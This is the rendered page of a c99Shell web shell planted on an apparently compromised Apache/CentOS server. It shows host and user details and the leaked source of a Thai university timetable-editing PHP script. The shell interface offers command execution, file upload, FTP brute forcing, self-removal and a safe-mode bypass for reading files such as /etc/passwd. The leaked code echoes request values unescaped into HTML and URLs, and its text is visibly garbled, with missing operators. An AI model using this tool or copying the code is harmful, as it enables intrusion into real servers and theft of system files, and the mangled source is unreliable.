!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eregis_/_admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editTimeTable.php (20.68 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "../global0.php";
include_once 
"../link/function.php";
include_once 
"../class/clsrg_TimeTable.php";
include_once 
"../class/clsClass.php";
include_once 
"../class/clsCourse.php";
include_once 
"../class/clsProgram.php";
include_once 
"../class/clsRoom.php";
include_once 
"../class/clsrg_MainExternalPlace.php";
include_once 
"../class/clsrg_SubExternalPlace.php";
include_once 
"../class/clsrg_WeekDate.php";
include_once 
"../class/clsDay.php";
include_once 
"../class/clsPeriod.php";
include_once 
"../class/clsOfficer.php";
include_once 
"../class/clsrg_SysStudyType.php";
include_once 
"../class/clsrg_TCInTT.php";
include_once 
"../class/clsrg_TeachingMethod.php";
include_once 
"../class/clsrg_OFSetTT.php";
include_once 
"../class/clsrg_NoStudyDate.php";

openWindow();
checkWeekDayJS();
isvaliddate();
futureDayJS();
doCheckAll();

$conn = new Connection();

$oTt1 = new rg_TimeTable();
$oTt2 = new rg_TimeTable();
$oCl = new Class1();
$oCo = new Course();
$oPg = new Program();
$oRm = new Room();
$oMep = new rg_MainExternalPlace();
$oSep = new rg_SubExternalPlace();
$oWd = new rg_WeekDate();
$oDy = new Day();
$oPr = new Period();
$oOf = new Officer();
$oSt = new rg_SysStudyType();
$oTit1 = new rg_TCInTT();
$oTit2 = new rg_TCInTT();
$oTc = new rg_TeachingMethod();
$oOst = new rg_OFSetTT();
$oNsd = new rg_NoStudyDate();
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<script language="javascript" src="../source/calendarDateInput.js"></script>
<script language="javascript">
function checkFormat() {
    f = document.pc;
    
    if(f.ttRmId.value=="") {
        alert('กรุณาเลือก ห้อง');
        f.ttRmId.focus();
        return false;
    }
    if(f.ttEpMepId.disabled==false && f.ttEpMepId.value=="") {
        alert('กรุณาเลือก สถานที่ฝึกงาน');
        return false;
    }
    if(f.ttDyId.value=="") {
        alert('กรุณาเลือก วัน');
        f.ttDyId.focus();
        return false;
    }
    if(f.ttFrPr.value=="") {
        alert('กรุณาเลือก จากคาบ');
        f.ttFrPr.focus();
        return false;
    }
    if(f.ttToPr.value=="") {
        alert('กรุณาเลือก ถึงคาบ');
        f.ttToPr.focus();
        return false;
    }
    if(parseInt(f.ttFrPr.value) > parseInt(f.ttToPr.value)) {
        alert('จากคาบ ต้อง <= ถึงคาบ');
        f.ttToPr.focus();
        return false;
    }
    if(f.ttOfId.value=="") {
        alert('กรุณาเลือก ชื่ออาจารย์ผู้สอน');
        f.ttOfId.focus();
        return false;
    }
    if(f.ttSstId.value=="") {
        alert('กรุณาเลือก ประเภทการสอน');
        f.ttSstId.focus();
        return false;
    }
    
    return true;
}

function ChangeEp() {
    f = document.pc;
    s = document.getElementById("search");
    
    if(f.ttRmId.value=="NULL") {
        f.mepName.disabled = "";
        f.sepName.disabled = "";
        f.ttEpMepId.disabled = "";
        f.ttEpSepId.disabled = "";
        s.style.display = "";
    }
    else {
        f.mepName.disabled = "none";
        f.sepName.disabled = "none";
        f.ttEpMepId.disabled = "none";
        f.ttEpSepId.disabled = "none";
        s.style.display = "none";
    }
}

function doPopup() {
    f = document.pc;
    var tcIds = f.tcIds.value;
    
    OpenWindow("tcTable.php?tcIds="+tcIds,500,400);
}

function ChangeMethodEdit() {
    f = document.pc;
    f.method.value = "edit";
    f.submit();
}

function ChangeMethodDelete() {
    f = document.pc;
    f.method.value = "delete";
    f.submit();
}
</script>
<form name="pc" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
    <input type="hidden" name="view" value="<?=$view?>">
    <input type="hidden" name="officerCode" value="<?=$officerCode?>">
    <input type="hidden" name="ttId" value="<?php echo $ttId;?>">
    <table width="100%" align="center" cellpadding="3" cellspacing="0" border="1">
        <tr>
            <td colspan="3" align="center"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><b>แก้ไขตารางสอน</b></font></td>
        </tr>
        <tr bgcolor="#ABCDEF">
            <td width="18%" align="center"><font size="2"><b>#</b></font></td>
            <td width="41%" align="center"><font size="2"><b>เดิม</b></font></td>
            <td width="41%" align="center"><font size="2"><b>เปลี่ยนเป็น</b></font></td>
        </tr>
<?php
        $oTt1
->SearchByKey($ttId);
        
$oTt1->GetRecord();
        
$oCl->SearchByKey($oTt1->ttClId);
        
$oCl->GetRecord();
        
$oCo->SearchByKey($oCl->courseId);
        
$oCo->GetRecord();
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>รายวิชา</b></font></td>
            <td><font size="2"><?php echo $oCo->courseCode.' '.$oCo->courseName;?></font></td>
            <td><font size="2"><?php echo $oCo->courseCode.' '.$oCo->courseName;?></font>
            <input type="hidden" name="coId" value="<?php echo $oCl->courseId;?>">
            <input type="hidden" name="ttClId" value="<?php echo $oTt1->ttClId;?>"></td>
        </tr>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>กลุ่ม</b></font></td>
            <td><font size="2"><?php echo $oCl->section;?></font></td>
            <td><font size="2"><?php echo $oCl->section;?></font></td>
        </tr>
<?php
        
if(!is_null($oCl->programId)) {
            
$oPg->SearchByKey($oCl->programId);
            
$oPg->GetRecord();
        }
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>หลักสูตร</b></font></td>
            <td><font size="2"><?php echo is_null($oCl->programId) ? 'เรียนรวมหลายหลักสูตร' $oPg->programName;?></font></td>
            <td><font size="2"><?php echo is_null($oCl->programId) ? 'เรียนรวมหลายหลักสูตร' $oPg->programName;?></font>
            <input type="hidden" name="programId" value="<?php echo is_null($oCl->programId) ? 'NULL' $oCl->programId;?>"></td>
        </tr>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>ชั้นปี</b></font></td>
            <td><font size="2"><?php echo $oCl->studentYear;?></font></td>
            <td><font size="2"><?php echo $oCl->studentYear;?></font>
            <input type="hidden" name="studentYear" value="<?php echo $oCl->studentYear;?>"></td>
        </tr>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>ภาค/ปีการศึกษา</b></font></td>
            <td><font size="2"><?php echo $oCl->semester.'/'.$oCl->acadYear;?></font></td>
            <td><font size="2"><?php echo $oCl->semester.'/'.$oCl->acadYear;?></font>
            <input type="hidden" name="semester" value="<?php echo $oCl->semester;?>">
            <input type="hidden" name="acadYear" value="<?php echo $oCl->acadYear;?>"></td>
        </tr>
<?php
        
if(!is_null($oTt1->ttRmId)) {
            
$oRm->SearchByKey($oTt1->ttRmId);
            
$oRm->GetRecord();
        }
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>ห้อง</b></font></td>
            <td><font size="2"><?php echo is_null($oTt1->ttRmId) ? 'สถานที่ฝึกงาน' $oRm->roomNo;?></font></td>
            <td><select name="ttRmId" onChange="ChangeEp()">
                <option value="">--เลือก--</option>
                <option value="NULL" <?php echo is_null($oTt1->ttRmId) ? 'selected' '';?>>สถานที่ฝึกงาน</option>
<?php
                $oRm
->RSRoom();
                while(
$oRm->GetRecord()) {
?>
                <option value="<?php echo $oRm->roomId;?><?php echo ($oRm->roomId==$oTt1->ttRmId) ? 'selected' '';?>><?php echo $oRm->roomNo;?></option>
<?php
                
}
?>
            </select>
            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
        </tr>
<?php
        
if(!is_null($oTt1->ttEpMepId) && !is_null($oTt1->ttEpSepId)) {
            
$oMep->SearchByKey($oTt1->ttEpMepId);
            
$oMep->GetRecord();
            
$oSep->SearchByKey($oTt1->ttEpSepId);
            
$oSep->GetRecord();
        }
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>สถานที่ฝึกงาน</b></font></td>
            <td><font size="2"><?php echo is_null($oTt1->ttEpMepId) ? '-' $oMep->mepName.' : '.$oSep->sepName;?></font></td>
            <td><input type="text" name="mepName" value="<?php echo is_null($oTt1->ttEpMepId) ? '' $oMep->mepName;?>" size="18" class="input1" readonly>
            :
            <input type="text" name="sepName" value="<?php echo is_null($oTt1->ttEpSepId) ? '' $oSep->sepName;?>" size="11" class="input1" readonly>
            <img src="../picture/search.gif" width="15" height="19" border="0" align="absmiddle" id="search" style="CURSOR: hand; display: <?php echo is_null($oTt1->ttEpMepId) ? 'none' '';?>;" onclick='OpenWindow("epTable.php",500,400)'>
            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
            <input type="hidden" name="ttEpMepId" value="<?php echo is_null($oTt1->ttEpMepId) ? '' $oTt1->ttEpMepId;?><?php echo is_null($oTt1->ttEpMepId) ? 'disabled' '';?>>
            <input type="hidden" name="ttEpSepId" value="<?php echo is_null($oTt1->ttEpSepId) ? '' $oTt1->ttEpSepId;?>"></td>
        </tr>
<?php
        $oWd
->SearchByKey($oCl->acadYear$oTt1->ttWdAcYWeekNo);
        
$oWd->GetRecord();
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>สัปดาห์ที่</b></font></td>
            <td><font size="2"><?php echo $oTt1->ttWdAcYWeekNo.': '.abbreDate(splitDateDb2($oWd->wdFrDate)).' - '.abbreDate(splitDateDb2($oWd->wdToDate));?></font></td>
            <td><select name="ttWdAcYWeekNo">
<?php
                $oWd
->RSrg_WeekDateByAcY($oCl->acadYear);
                while(
$oWd->GetRecord()) {
?>
                <option value="<?php echo $oWd->wdAcYWeekNo;?><?php echo ($oWd->wdAcYWeekNo==$oTt1->ttWdAcYWeekNo) ? 'selected' '';?>><?php echo $oWd->wdAcYWeekNo.': '.abbreDate(splitDateDb2($oWd->wdFrDate)).' - '.abbreDate(splitDateDb2($oWd->wdToDate));?></option>
<?php
                
}
?>
            </select></td>
        </tr>
<?php
        $oDy
->SearchByKey($oTt1->ttDyId);
        
$oDy->GetRecord();
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>วัน</b></font></td>
            <td><font size="2"><?php echo $oDy->dayName;?></font></td>
            <td><select name="ttDyId">
                <option value="">--เลือก--</option>
<?php
                $oDy
->RSDay();
                while(
$oDy->GetRecord()) {
?>
                <option value="<?php echo $oDy->dayId;?><?php echo ($oDy->dayId==$oTt1->ttDyId) ? 'selected' '';?>><?php echo $oDy->dayName;?></option>
<?php
                
}
?>
            </select>
            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
        </tr>
<?php
        $oPr
->SearchByKey($oTt1->ttFrPr);
        
$oPr->GetRecord();
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>จากคาบ</b></font></td>
            <td><font size="2"><?php echo substr($oPr->startTime05).'-'.substr($oPr->endTime05);?></font></td>
            <td><select name="ttFrPr">
                <option value="">--เลือก--</option>
<?php
                $oPr
->RSPeriod();
                while(
$oPr->GetRecord()) {
?>
                <option value="<?php echo $oPr->period;?><?php echo ($oPr->period==$oTt1->ttFrPr) ? 'selected' '';?>><?php echo substr($oPr->startTime05).'-'.substr($oPr->endTime05);?></option>
<?php
                
}
?>
            </select>
            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
        </tr>
<?php
        $oPr
->SearchByKey($oTt1->ttToPr);
        
$oPr->GetRecord();
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>ถึงคาบ</b></font></td>
            <td><font size="2"><?php echo substr($oPr->startTime05).'-'.substr($oPr->endTime05);?></font></td>
            <td><select name="ttToPr">
                <option value="">--เลือก--</option>
<?php
                $oPr
->RSPeriod();
                while(
$oPr->GetRecord()) {
?>
                <option value="<?php echo $oPr->period;?><?php echo ($oPr->period==$oTt1->ttToPr) ? 'selected' '';?>><?php echo substr($oPr->startTime05).'-'.substr($oPr->endTime05);?></option>
<?php
                
}
?>
            </select>
            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
        </tr>
<?php
        $oOf
->SearchByKey($oTt1->ttOfId);
        
$oOf->GetRecord();
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>ชื่ออาจารย์ผู้สอน</b></font></td>
            <td><font size="2"><?php echo $oOf->officerName.' '.$oOf->officerSurname;?></font></td>
            <td><select name="ttOfId">
                <option value="">--เลือก--</option>
<?php
                $oOf
->RSOfficerOrderNmAndSn();
                while(
$oOf->GetRecord()) {
?>
                <option value="<?php echo $oOf->officerId;?><?php echo ($oOf->officerId==$oTt1->ttOfId) ? 'selected' '';?>><?php echo $oOf->officerName.' '.$oOf->officerSurname;?></option>
<?php
                
}
?>
            </select>
            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
        </tr>
<?php
        $oSt
->SearchByKey($oTt1->ttSstId);
        
$oSt->GetRecord();
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>ประเภทการสอน</b></font></td>
            <td><font size="2"><?php echo $oSt->sstName;?></font></td>
            <td><select name="ttSstId">
                <option value="">--เลือก--</option>
<?php
                $oSt
->RSrg_SysStudyType();
                while(
$oSt->GetRecord()) {
?>
                <option value="<?php echo $oSt->sstId;?><?php echo ($oSt->sstId==$oTt1->ttSstId) ? 'selected' '';?>><?php echo $oSt->sstName;?></option>
<?php
                
}
?>
            </select>
            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
        </tr>
<?php
        $i 
1;
        
$oTit1->RSrg_TCInTTByTtId($ttId);
        while(
$oTit1->GetRecord()) {
            
$oTc->SearchByKey($oTit1->titTcId);
            
$oTc->GetRecord();
            
            if(
$i 1) {
                
$tmpTcIds .= ",";
                
$tmpTcNames .= ", ";
            }
            
            
$tmpTcIds .= $oTit1->titTcId;
            
$tmpTcNames .= $oTc->tcName;
            
            
$i++;
        }
?>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>วิธีการสอน</b></font></td>
            <td><font size="2"><?php echo $tmpTcNames;?>&nbsp;</font></td>
            <td><textarea name="tcNames" cols="30%" rows="<?php echo ($i==1) ? $i-1;?>" class="input1" readonly><?php echo ($tcNames) ? $tcNames $tmpTcNames;?></textarea>
            <img src="../picture/search.gif" width="15" height="19" border="0" align="absmiddle" style="CURSOR: hand;" onClick="doPopup()">
            <input type="hidden" name="tcIds" value="<?php echo ($tcIds) ? $tcIds $tmpTcIds;?>"></td>
        </tr>
        <tr>
            <td bgcolor="#FEDCBA"><font size="2"><b>บท/เรื่อง/หัวข้อสอน</b></font></td>
            <td><font size="2"><?php echo $oTt1->ttTitle;?>&nbsp;</font></td>
            <td><input type="text" name="ttTitle" value="<?php echo $oTt1->ttTitle;?>" size="40"></td>
        </tr>
<?php
        $oOf
->SearchByOfficerCode($officerCode);
        
$oOf->GetRecord();
        
        
$ostPgId = (is_null($oCl->programId)) ? $oCl->programId;
        
        
$oOst->SearchByKeyAndTTIsY($oOf->officerId$oCl->acadYear$oCl->semester$ostPgId);
?>
        <tr align=center>
            <td colspan="3"><input type="button" name="edit" value="แก้ไข" onClick="if(checkFormat()) ChangeMethodEdit(); else return false;" <?php echo ($oOst->GetRecord()) ? '' 'disabled';?>>
            <input type="button" name="cancel" value="ย้อนกลับ" onClick="location.href = 'showTimeTable.php?programId=<?php echo $oCl->programId;?>&studentYear=<?php echo $oCl->studentYear;?>&acadYear=<?php echo $oCl->acadYear;?>&semester=<?php echo $oCl->semester;?>&coId=<?php echo $oCl->courseId;?>&ttClId=<?php echo $oTt1->ttClId;?>&ttRmId=<?php echo $oTt1->ttRmId;?>&ttEpMepId=<?php echo $oTt1->ttEpMepId;?>&ttEpSepId=<?php echo $oTt1->ttEpSepId;?>&ttWdAcYWeekNo=<?php echo $oTt1->ttWdAcYWeekNo;?>&ttDyId[<?php echo $oTt1->ttDyId;?>]=<?php echo $oTt1->ttDyId;?>&ttFrPr=<?php echo $oTt1->ttFrPr;?>&ttToPr=<?php echo $oTt1->ttToPr;?>&ttOfId=<?php echo $oTt1->ttOfId;?>&ttSstId=<?php echo $oTt1->ttSstId;?>&tcIds=<?php echo $tmpTcIds;?>&tcNames=<?php echo $tmpTcNames;?>&view=<?php echo $view;?>&officerCode=<?php echo $officerCode;?>'">
            <input type="hidden" name="method" value="edit"></td>
        </tr>
    </table>
<?php
if($method=="delete") {
    for(
$i=0$i<count($ttIdDel); $i++) {
        
$oTit1->RSrg_TCInTTByTtId($ttIdDel[$i]);
        while(
$oTit1->GetRecord()) {
            
$oTit2->SearchByKey($ttIdDel[$i], $oTit1->titTcId);
            
$oTit2->GetRecord();
            
$oTit2->Delete();
        }
        
        
$oTt2->SearchByKey($ttIdDel[$i]);
        
$oTt2->GetRecord();
        
$oTt2->Delete();
    }
}
?>
    <table width="100%" align="center">
        <tr>
            <td colspan="5" align="center"><br><br><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><b>ลบตารางสอน</b></font></td>
        </tr>
        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
            <td width="5%" height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>เลือก</b></font></td>
            <td width="25%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>สัปดาห์ที่</b></font></td>
            <td width="20%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>วัน เวลา</b></font></td>
            <td width="30%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ห้อง/สถานที่ฝึกงาน</b></font></td>
            <td width="20%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ชื่ออาจารย์ผู้สอน</b></font></td>
        </tr>
<?php
        $i 
0;
        
$oTt2->RSrg_TimeTableByClIdOrderAcYWeekNoDyIdFrPr($oCl->classId);
        while(
$oTt2->GetRecord()) {
            
$oWd->SearchByKey($oCl->acadYear$oTt2->ttWdAcYWeekNo);
            
$oWd->GetRecord();
            
$oDy->SearchByKey($oTt2->ttDyId);
            
$oDy->GetRecord();
            
$oPr->SearchByKey($oTt2->ttFrPr);
            
$oPr->GetRecord();
            
$prStr substr($oPr->startTime05).'-';
            
$oPr->SearchByKey($oTt2->ttToPr);
            
$oPr->GetRecord();
            
$prStr .= substr($oPr->endTime05);
            
$oSt->SearchByKey($oTt2->ttSstId);
            
$oSt->GetRecord();
            
$oRm->SearchByKey($oTt2->ttRmId);
            
$oRm->GetRecord();
            
$oMep->SearchByKey($oTt2->ttEpMepId);
            
$oMep->GetRecord();
            
$oSep->SearchByKey($oTt2->ttEpSepId);
            
$oSep->GetRecord();
            
$oOf->SearchByKey($oTt2->ttOfId);
            
$oOf->GetRecord();
            
            if((
$i%2) == 0)
                echo 
"<tr title=\"".$oTt2->ttTitle."\">";
            else
                echo 
"<tr title=\"".$oTt2->ttTitle."\" bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>
            <td align="center"><input type="checkbox" name="ttIdDel[]" value="<?php echo $oTt2->ttId;?>"></td>
            <td><font size="2"><?php echo $oTt2->ttWdAcYWeekNo.' : '.abbreDate(splitDateDb2($oWd->wdFrDate)).' - '.abbreDate(splitDateDb2($oWd->wdToDate));?></font></td>
            <td><font size="2"><?php echo $oDy->dayAbbrEng.' '.$prStr.' ('.$oSt->sstAbbrEng.')';?></font></td>
            <td><font size="2"><?php echo is_null($oTt2->ttRmId) ? $oMep->mepName.' : '.$oSep->sepName $oRm->roomNo;?></font></td>
            <td><font size="2"><?php echo $oOf->officerName.' '.$oOf->officerSurname;?></font></td>
        </tr>
<?php
            $i
++;
        }
?>
        <tr>
            <td colspan="5"><input type="button" name="chkAll" value="เลือกทั้งหมด" onClick="doCheckAll(this.form, true)" <?php echo ($i==0) ? 'disabled' '';?>>
            <input type="button" name="cancelAll" value="ยกเลิกทั้งหมด" onClick="doCheckAll(this.form, false)" <?php echo ($i==0) ? 'disabled' '';?>></td>
        </tr>
<?php
        $oOf
->SearchByOfficerCode($officerCode);
        
$oOf->GetRecord();
        
        
$ostPgId = (is_null($oCl->programId)) ? $oCl->programId;
        
        
$oOst->SearchByKeyAndTTIsY($oOf->officerId$oCl->acadYear$oCl->semester$ostPgId);
?>
        <tr>
            <td colspan="5" align="center"><input type="button" name="delete" value="บันทึก" onClick="ChangeMethodDelete()" <?php echo ($oOst->GetRecord() && $i>0) ? '' 'disabled';?>>
            <input type="button" name="cancelDel" value="ย้อนกลับ" onClick="location.href = 'showTimeTable.php?programId=<?php echo $oCl->programId;?>&studentYear=<?php echo $oCl->studentYear;?>&acadYear=<?php echo $oCl->acadYear;?>&semester=<?php echo $oCl->semester;?>&coId=<?php echo $oCl->courseId;?>&ttClId=<?php echo $oTt1->ttClId;?>&ttRmId=<?php echo $oTt1->ttRmId;?>&ttEpMepId=<?php echo $oTt1->ttEpMepId;?>&ttEpSepId=<?php echo $oTt1->ttEpSepId;?>&ttWdAcYWeekNo=<?php echo $oTt1->ttWdAcYWeekNo;?>&ttDyId[<?php echo $oTt1->ttDyId;?>]=<?php echo $oTt1->ttDyId;?>&ttFrPr=<?php echo $oTt1->ttFrPr;?>&ttToPr=<?php echo $oTt1->ttToPr;?>&ttOfId=<?php echo $oTt1->ttOfId;?>&ttSstId=<?php echo $oTt1->ttSstId;?>&tcIds=<?php echo $tmpTcIds;?>&tcNames=<?php echo $tmpTcNames;?>&view=<?php echo $view;?>&officerCode=<?php echo $officerCode;?>'"></td>
        </tr>
    </table>
</form>
<?php
if($method=="edit") {
    
$oWd->SearchByKey($acadYear$ttWdAcYWeekNo);
    
$oWd->GetRecord();
    
    
$oNsd->RSrg_NoStudyDateByDateAndFrPrAndToPr(futureDay($oWd->wdFrDate$ttDyId-1), $ttFrPr$ttToPr);
    if(!
$oNsd->GetRecord()) {
        
$oTt1->SearchByAllAndNotId($ttClId$ttRmId$ttEpMepId$ttEpSepId$ttWdAcYWeekNo$ttDyId$ttFrPr$ttToPr$ttOfId$ttSstId$ttId);
        if(!
$oTt1->GetRecord()) {
            
$oTt1->SearchByKey($ttId);
            
$oTt1->GetRecord();
            
$oTt1->Edit();
            
$oTt1->ttRmId = ($ttRmId=='NULL') ? 'NULL' $ttRmId;
            
$oTt1->ttEpMepId = ($ttEpMepId=='') ? 'NULL' $ttEpMepId;
            
$oTt1->ttEpSepId = ($ttEpSepId=='') ? 'NULL' $ttEpSepId;
            
$oTt1->ttWdAcYWeekNo $ttWdAcYWeekNo;
            
$oTt1->ttDyId $ttDyId;
            
$oTt1->ttFrPr $ttFrPr;
            
$oTt1->ttToPr $ttToPr;
            
$oTt1->ttOfId $ttOfId;
            
$oTt1->ttSstId $ttSstId;
            
$oTt1->ttTitle $ttTitle;
            
$oTt1->Save();
            
            
$oTit1->RSrg_TCInTTByTtId($ttId);
            while(
$oTit1->GetRecord()) {
                
$oTit2->SearchByKey($ttId$oTit1->titTcId);
                
$oTit2->GetRecord();
                
$oTit2->Delete();
            }
            
            if(
$tcIds) {
                
$tcIdArr explode(","$tcIds);
                for(
$i=0$i<count($tcIdArr); $i++) {
                    
$oTit1->AddNew();
                    
$oTit1->titTtId $ttId;
                    
$oTit1->titTcId $tcIdArr[$i];
                    
$oTit1->Save();
                }
            }
        }
    }
    
    echo 
"<meta http-equiv=\"refresh\" content=\"0;url=showTimeTable.php?programId=$programId&studentYear=$studentYear&acadYear=$acadYear&semester=$semester&coId=$coId&ttClId=$ttClId&ttRmId=$ttRmId&mepName=$mepName&sepName=$sepName&ttEpMepId=$ttEpMepId&ttEpSepId=$ttEpSepId&ttWdAcYWeekNo=$ttWdAcYWeekNo&numWeek=$numWeek&ttDyId[".$ttDyId."]=$ttDyId&ttFrPr=$ttFrPr&ttToPr=$ttToPr&ttOfId=$ttOfId&ttSstId=$ttSstId&tcIds=$tcIds&tcNames=$tcNames&ttTitle=$ttTitle&view=$view&officerCode=$officerCode\">" ;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.011 ]--